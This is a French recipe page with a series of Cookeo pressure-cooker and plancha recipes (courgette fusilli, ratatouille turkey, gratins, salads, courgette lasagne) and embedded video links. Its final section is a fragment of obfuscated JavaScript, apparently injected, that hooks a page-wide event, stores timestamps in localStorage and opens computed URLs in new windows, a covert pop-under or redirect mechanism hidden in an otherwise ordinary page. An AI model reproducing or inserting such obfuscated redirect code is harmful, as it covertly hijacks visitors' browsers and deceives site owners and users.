Fusillis courgettes recette cookeo

Ingrédients pour 4 personnes

300 g de fusillis

2 petites courgettes

Herbes de Provence

Parmesan (facultatif)

1 oignon

Curry

600 ml ‘eau

Sel

Poivre

Préparation

Coupez les courgettes et l’oignon en morceaux

Mode dorer

Versez l’huile dans la cuve, quand l’huile est chaude faites revenir les courgettes puis les morceaux d’oignon.

Ajoutez les fusillis dans la cuve.

Recouvrez d’eau les fusillis.

Salez et poivrez.

Saupoudrez avec des herbes de Provence et du curry.

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de fusillis divisé par 2

Quand la cuisson est terminée s’il existe un surplus d’eau égouttez les fusillis et les courgettes et servez chaud.

[youtube https://www.youtube.com/watch?v=uwml3CItKlw&w=560&h=315]

Légumes à la provençale cookeo

Ingrédients pour 4 personnes

1 oignon

500 g de champignons de paris émincés

500 g de courgettes coupées en dés

1 grosse boîte de tomates pelées

Herbe de Provence,

Sel et poivre

Préparation

Lavez et émincez les champignons de Paris.

Coupez les tomates en morceaux.

Hachez la gousse d’ail.

Coupez l’oignon en morceaux

Mode dorer

Versez l’huile dans la cuve, quand l’huile est chaude faites dorer les morceaux d’oignons.

Ajoutez l’ail et le persil haché.

Ajoutez les courgettes

Versez la grosse boite de tomates pelées.

Salez et poivrez.

Ajoutez 100 ml d’eau.

Cuisson rapide ou sous pression programmez 5 mn.

Servez chaud

[youtube https://www.youtube.com/watch?v=MpvelBmZrUA&w=560&h=315]

Dinde ratatouille recette cookeo

Ingrédients pour 4 personnes

4 escalopes de dinde

500 g d’aubergines

500 g de courgettes

1 oignon

1 poivron

100 ml de vin blanc

2 gousses d’ail

1 cube de bouillon de volaille

2 cuillères à soupe d’huile d’olive

2 cuillères à café de concentré de tomates

Thym ou herbes de Provence

Sel

Poivre

Epépinez et coupez les poivrons en morceaux

Coupez les oignons et l’ail en morceaux

Coupez les tomates en morceaux

Lavez et coupez les courgettes en morceaux

Coupez les aubergines en morceaux

Mode dorer

Ajoutez les morceaux d’oignons et d’ail pour les faire dorer.

Déposez dans la cuve les morceaux de courgettes,poivrons,aubergines et tomates.

Versez 100 ml de vin blanc avec un cuve de bouillon de volaille émietté.

Salez et poivrez .

Saupoudrez de thym ou d’herbes de Provence

Cuisson rapide ou sous pression

servez chaud

[youtube https://www.youtube.com/watch?v=b9qgNY3AuJ8&w=560&h=315]

Pommes de terre niçoise cookeo

Ingrédients pour 4 personnes

1 kg de pommes de terre

1 poivron

2 cuillères à soupe d’huile d’olive

1 oignon

2 gousses d’ail

2 Tomates

100 ml de vin blanc

20 Olives

Sel

Poivre

Préparation

Epépinez le poivron et coupez le en lanières

Epluchez et coupez les pommes de terre en morceaux .

Mode dorer

Versez l’huile dans la cuve ,quand l’huile est chaude faites revenir les oignons.

Ajoutez ensuite l’ail .

Déposez les morceaux de tomates et les lanières de poivron dans la cuve .

Ajoutez les pommes de terre et les olives.

Versez le vin blanc .

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 5 mn ou 7 mn

[youtube https://www.youtube.com/watch?v=PS3oYqBwRV0&w=560&h=315]

Gratin mini chorizo recette cookeo

Ingrédients pour 4 personnes

8 mini chorizo

400 g de tomates

800 g de pommes de terre

200 ml d’eau

200 ml de coulis de tomates

1 cuillère à soupe de moutarde

100 g de gruyère râpé

1 oignon

2 cuillères à soupe d’huile d’olive

Sel

Poivre

Préparation

Epluchez ,passez sous l’eau et coupez les pommes de terre en morceaux .

Coupez l’oignon et les tomates en morceaux .

Mélangez le coulis de tomates et la cuillère à soupe de moutarde

Mode dorer

Versez l’huile dans la cuve ,quand l’huile est chaude faites revenir les mini chorizo puis l’oignon.

Ajoutez les tomates et les pommes de terre dans la cuve.

Versez 200 ml d’eau .

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 5 mn

Préchauffer votre four à 200° .

Quand la cuisson rapide est terminée,égouttez la cuve et déposez les pommes de terre et les tomates dans un plat qui va au four

Saupoudrez de gruyère et enfournez 20 mn à 200° (vous pouvez finir par un petit coup de grill)

[youtube https://www.youtube.com/watch?v=TWFfCpA8UOw&w=560&h=315]

Côtes de porc Tex Mex plancha

Ingrédients pour 4 personnes

4 côtes de porc

2 cuillères à soupe de miel

1 cuillère à soupe de vinaigre de vin

1 cuillère à soupe d’ail déshydraté

Sel

1 cuillère à soupe de moutarde

1 cuillère à soupe de concentré de tomates

2 cuillères à soupe de mélange Tex Mex

Préparation

Mélangez le vinaigre, le miel, les épices et le sel.

Ajoutez la moutarde et le concentré de tomates.

Badigeonnez les côtes de porc avec la préparation.

Laissez au frigo au moins une heure

Huilez et faites chauffez la plancha

Quand la plancha est chaude faites cuire les côtes de porc

Servez chaud.

[youtube https://www.youtube.com/watch?v=FAxwqnLWgAo&w=560&h=315]

Salade haricots blancs thon cookeo

Ingrédients pour 4 personnes

400 g de haricots blancs congelés

1 petite boite de thon

4 tomates

1 oignon rouge ou la moitié selon la grosseur de l’oignon

Pour la vinaigrette

6 cuillères à soupe d’huile d’olive

3 cuillères à soupe de vinaigre

1 cuillère à café de moutarde

Sel

Poivre

Eau 600 ml

20 ml de jus de citron

Préparation

Coupez les tomates et l’oignon rouge en morceaux.

Egouttez la boite de thon au naturel

Préparez la vinaigrette pendant la cuisson des haricots avec l’huile,la moutarde ,le vinaigre de vin et le jus de citron

Déposez les haricots blancs dans la cuve . Recouvrez d’eau

Programmez 12 mn

Placez également dans le saladier les morceaux de tomates et d’oignons ainsi que le thon émietté.

Placez le saladier au frigo pendant au moins 2 h

Servez froid avec la vinaigrette

[youtube https://www.youtube.com/watch?v=-kuH9FOva38&w=560&h=315]

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Gratin courgettes tomates cookeo

Gratin courgettes tomates cookeo

Ingrédients pour 4 personnes

1 kg de courgettes

100 g de gruyère râpé

400 g de tomates

1 cuillère à soupe de moutarde

Sel

Poivre

1 cube de bouillon de bœuf

200 ml d’eau

1 petite boite de purée de tomates 200 g

Préparation

Lavez les tomates, les courgettes.

Coupez les courgettes en morceaux.

Coupez les tomates en rondelles

Ajoutez une cuillère à soupe de moutarde avec la purée de tomates

Faites préchauffer le four à 180°

Salez et poivrez.

Cuisson rapide ou sous pression programmez 3 mn

Quand la cuisson est terminée égouttez la cuve et déposez les légumes dans un plat qui va au four.

dans le plat

Ajoutez les rondelles de tomates

Enfournez pendant 20 mn à 180°

aspect doré

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Salade composée aubergines cookeo

Salade composée aubergines cookeo

Ingrédients pour 4 à 6 personnes

200 g de riz

La moitié d’un oignon rouge

1 aubergine

1 poivron

2 tomates

Pour la vinaigrette

5 cuillères à soupe d’huile d’olive

3 cuillères à soupe de vinaigre

1 cuillère à café de moutarde

Sel

Poivre

600 ml d’eau

Préparation

Coupez l’oignon en morceaux

Coupez l’aubergine en morceaux

Epépinez le poivron et coupez le en morceaux

Dans un bol mélangez le vinaigre , la moutarde, l’huile d’olive . Ajoutez les morceaux d’oignon. Salez et poivrez

Passez les tomates sous l’eau et coupez -les en morceaux

Mode dorer

Déposez dans la cuve le riz et les morceaux d’aubergines

Versez l’eau dans la cuve (recouvrez le riz )

Cuisson rapide ou sous pression

Programmez le temps indiqué sur le paquet de riz divisé par 2

Quand la cuisson est terminée égouttez la cuve. Passez le riz et les aubergines sous l’eau froide .

Déposez le riz ,les aubergines , les morceaux de tomates, les morceaux de poivrons ,dans un saladier .

Déposez le saladier pendant 2h dans le frigo. Sortez le saladier et servez avec la sauce

[youtube https://www.youtube.com/watch?v=-T2iwOzsraU&w=560&h=315]

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Pommes de terre rissolées champignons cookeo

Pommes de terre rissolées champignons cookeo

Ingrédients pour 4 personnes

1 kg de pommes de terre coupées en morceaux (plus selon vos mangeurs)à chair ferme

6 cuillères à soupe d’huile

1 petite boite de champignons de Paris

2 oignons

Sel

Poivre

Préparation

Epluchez les pommes de terre ,passez les sous l’eau puis coupez les en morceaux.

Déposez les pommes de terre dans un saladier et versez de l’huile dessus puis mélangez.

Coupez les oignons en morceaux

Egouttez et rincez les champignons de Paris.

Mode dorer

Versez l’huile dans la cuve . Quand le préchauffage est terminé versez les pommes de terre dans la cuve puis faites dorer jusqu’à ce que les pommes de terre soient cuites . Remuez de temps en temps.

Ajoutez les morceaux d’oignons et les champignons de Paris en fin de cuisson des pommes de terre (environ 18 mn ) .

Salez et poivrez

Pour savoir si les pommes de terre sont cuites piquez avec une fourchette .

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Filet mignon 3 légumes recette cookeo

Filet mignon 3 légumes recette cookeo

Ingrédients pour 4 personnes

1 filet mignon

500 g de tomates

50 ml de vin blanc

150 ml d’eau

1 poivron

2 courgettes

1 aubergine

2 cuillères à soupe d’huile d’olive

1 cube de bouillon de bœuf

Concentré de tomates

Sel

Poivre

Curry

Préparation

Lavez et coupez les tomates ,les courgettes et l’aubergine en morceaux.

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir le filet mignon quand le préchauffage est terminé

.

Versez 150 ml d’eau,50 ml de vin blanc et un cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance

Cuisson rapide ou sous pression

Programmez 20 mn

Quand la cuisson est terminée ajoutez les morceaux de tomates, de courgettes, d’aubergines dans la cuve.

Reprogrammez 5 mn de cuisson

Quand la cuisson est terminée ajouter le concentré de tomates et mélangez.

Servez chaud ensuite

[youtube https://www.youtube.com/watch?v=ZnUxFT9-blQ&w=560&h=315]

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Gratin courgettes poivron recette cookeo

Gratin courgettes poivron recette cookeo

Ingrédients pour 4 personnes

600 g de courgettes (3 à 4 courgettes)

400 g d’aubergines

1 poivron

100 g de gruyère râpé

300 g de tomates (3 à 4 tomates environ)

1 cuillère à soupe de moutarde

Sel

Poivre

200 ml d’eau

1 petite boite de purée de tomates 200 g

1 cube de bouillon de boeuf

Préparation

Lavez les tomates ,les courgettes les aubergines .

Coupez les courgettes, les aubergines en morceaux.

Coupez les tomates en rondelles

Epépinez les poivrons et coupez les en morceaux

.

Ajoutez une cuillère à soupe de moutarde avec la purée de tomates

Faites préchauffer le four à 200°

Ajoutez les morceaux de courgettes ,d’aubergines et de poivrons dans la cuve .

Salez et poivrez.

Versez les 200 ml d’eau et un cube de bouillon de bœuf émietté

Cuisson rapide ou sous pression programmez 3 mn

Quand la cuisson est terminée égouttez la cuve et déposez les légumes dans un plat qui va au four.

Versez le vin blanc dans le plat

Répartissez la pulpe de tomates dans le plat

Ajoutez les rondelles de tomates

Saupoudrez de gruyère râpé

Enfournez pendant 20 mn à 200°

Passez en position grill pendant 10 m pour un aspect doré

[youtube https://www.youtube.com/watch?v=RDba_07x8js&w=560&h=315]

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Gratin d’aubergines recette cookeo

Gratin d’aubergines recette cookeo

Ingrédients pour 4 personnes

4 aubergines

1 petite boite de tomates pelées

2 cuillères à soupe d’huile d’olive

1 oignon

100 g de gruyère râpé

200 ml d’eau

1 cube de bouillon de bœuf

Sel

Poivre

Préparation

Passez les aubergines sous l’eau et coupez-les en rondelles.

Coupez l’oignon en morceaux.

Mode dorer

Versez l’huile dans la cuve, quand l’huile est chaude faites dorer les oignons.

Ajoutez l’ail et les rondelles d’aubergine.

Ajoutez 200 ml d’eau et un cube de bouillon de bœuf émietté.

Ajoutez la petite boite de tomates pelées.

Salez et poivrez selon votre convenance.

Préchauffez votre four à 180°

Cuisson rapide ou sous pression

Programmez 5 mn de cuisson rapide ou sous pression

Versez le contenu de la cuve dans un plat qui va au four.

Saupoudrez de gruyère et enfournez à 180° pendant 10 mn puis 5 mn au grill.

Servez chaud

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Lasagnes courgettes au boeuf cookeo

Lasagnes courgettes au boeuf cookeo

Ingrédients pour 4 personnes

3 courgettes

3 tomates

400 g de viande hachée

1 oignon

200 g de Coulis de tomates

50 g de gruyère râpé

1 cuillère à café de curry

150 ml d’eau

Sel

Poivre

2 cuillères à soupe d’huile d’olive

Préparation

Coupez les courgettes en lamelles

Coupez les tomates et l’oignon en morceaux

Mode dorer

Versez l’huile dans la cuve . Quand l’huile est chaude faites revenir les morceaux d’oignons puis ajoutez la viande quad les morceaux d’oignons sont dorés.

Ajoutez les tomates ;

Salez et poivrez .

Saupoudrez de curry .

Versez 150 ml d’eau

Cuisson rapide ou sous pression

Programmez 3 mn

Quand la cuisson est terminée ajoutez le coulis de tomates et mélangez.

Dans un palt qui va au four disposez une couche de lamelles de courgettes et une couche de viande hachée avec le coulis .

Répétez l’opération en finissant par des lamelles de courgettes.

Saupoudrez de gruyère râpé puis enfournez 20 mn à 200 °

[youtube https://www.youtube.com/watch?v=Y29F-aZlzXM&w=560&h=315]

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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());